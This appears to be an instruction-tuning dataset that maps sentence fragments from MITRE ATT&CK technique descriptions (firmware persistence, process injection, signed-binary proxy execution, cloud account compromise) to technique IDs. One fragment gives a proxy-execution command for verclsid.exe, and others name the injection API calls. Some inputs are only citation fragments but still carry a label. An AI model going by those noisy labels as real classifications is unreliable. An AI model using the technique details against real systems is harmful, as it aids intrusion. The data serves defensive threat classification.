techniques contained in the text.", "input": "(Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset.", "output": "T1542.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. ### Response: T1542.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image.", "output": "T1542.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. ### Response: T1542.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.", "output": "T1542.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect. ### Response: T1542.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify system firmware to persist on systems.", "output": "T1542.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify system firmware to persist on systems. ### Response: T1542.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.", "output": "T1542.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. ### Response: T1542.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI)", "output": "T1542.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) ### Response: T1542.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity.", "output": "T1542.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. ### Response: T1542.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.", "output": "T1542.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect. ### Response: T1542.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During the booting process of a computer, firmware and various startup services are loaded before the operating system.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During the booting process of a computer, firmware and various startup services are loaded before the operating system. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting) ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**This technique has been deprecated.", "output": "T1064", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **This technique has been deprecated. ### Response: T1064."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.", "output": "T1064", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate. ### Response: T1064."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**\n\nAdversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual.", "output": "T1064", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **\n\nAdversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. ### Response: T1064."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources.", "output": "T1064", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. ### Response: T1064."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs.", "output": "T1064", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. ### Response: T1064."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.", "output": "T1064", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts. ### Response: T1064."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened.", "output": "T1064", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. ### Response: T1064."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.", "output": "T1064", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them. ### Response: T1064."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike.", "output": "T1064", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. ### Response: T1064."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses.", "output": "T1064", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. ### Response: T1064."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some adversaries are known to use PowerShell.", "output": "T1064", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some adversaries are known to use PowerShell. ### Response: T1064."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Alperovitch 2014)", "output": "T1064", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Alperovitch 2014) ### Response: T1064."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry.", "output": "T1612", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. ### Response: T1612."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A remote <code>build</code> request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)", "output": "T1612", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A remote <code>build</code> request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image) ### Response: T1612."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may take advantage of that <code>build</code> API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation:", "output": "T1612", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may take advantage of that <code>build</code> API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: ### Response: T1612."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Aqua Security Cloud Native Threat Report June 2021)", "output": "T1612", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Aqua Security Cloud Native Threat Report June 2021) ### Response: T1612."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\u2019s a vanilla image.", "output": "T1612", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\u2019s a vanilla image. ### Response: T1612."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment.", "output": "T1612", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ### Response: T1612."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**This technique has been deprecated and should no longer be used.", "output": "T1051", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **This technique has been deprecated and should no longer be used. ### Response: T1051."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**\n\nAdversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content.", "output": "T1051", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **\n\nAdversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. ### Response: T1051."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.", "output": "T1051", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured. ### Response: T1051."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server.", "output": "T1051", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. ### Response: T1051."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.", "output": "T1051", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. ### Response: T1051."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Webroot PHP 2011)", "output": "T1051", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Webroot PHP 2011) ### Response: T1051."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many different ways to inject code into a process, many of which abuse legitimate functionalities.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many different ways to inject code into a process, many of which abuse legitimate functionalities. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These implementations exist for every major OS but are typically platform specific.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These implementations exist for every major OS but are typically platform specific. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PE injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PE injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread.", "output": "T1055.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. ### Response: T1055.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode).", "output": "T1055.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). ### Response: T1055.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The displacement of the injected code does introduce the additional requirement for functionality to remap memory references.", "output": "T1055.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. ### Response: T1055.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Process Injection July 2017)", "output": "T1055.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Process Injection July 2017) ### Response: T1055.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse verclsid.exe to proxy execution of malicious code.", "output": "T1218.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse verclsid.exe to proxy execution of malicious code. ### Response: T1218.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)", "output": "T1218.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe) ### Response: T1218.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse verclsid.exe to execute malicious payloads.", "output": "T1218.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse verclsid.exe to execute malicious payloads. ### Response: T1218.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be achieved by running <code>verclsid.exe /S /C", "output": "T1218.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be achieved by running <code>verclsid.exe /S /C ### Response: T1218.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "{CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects.", "output": "T1218.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: {CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. ### Response: T1218.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)).", "output": "T1218.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). ### Response: T1218.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation:", "output": "T1218.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: ### Response: T1218.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation:", "output": "T1218.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: ### Response: T1218.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Nick Tyrer GitHub)", "output": "T1218.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Nick Tyrer GitHub) ### Response: T1218.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise cloud accounts that can be used during targeting.", "output": "T1586.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise cloud accounts that can be used during targeting. ### Response: T1586.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s.", "output": "T1586.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. ### Response: T1586.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure.", "output": "T1586.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. ### Response: T1586.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation:", "output": "T1586.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that 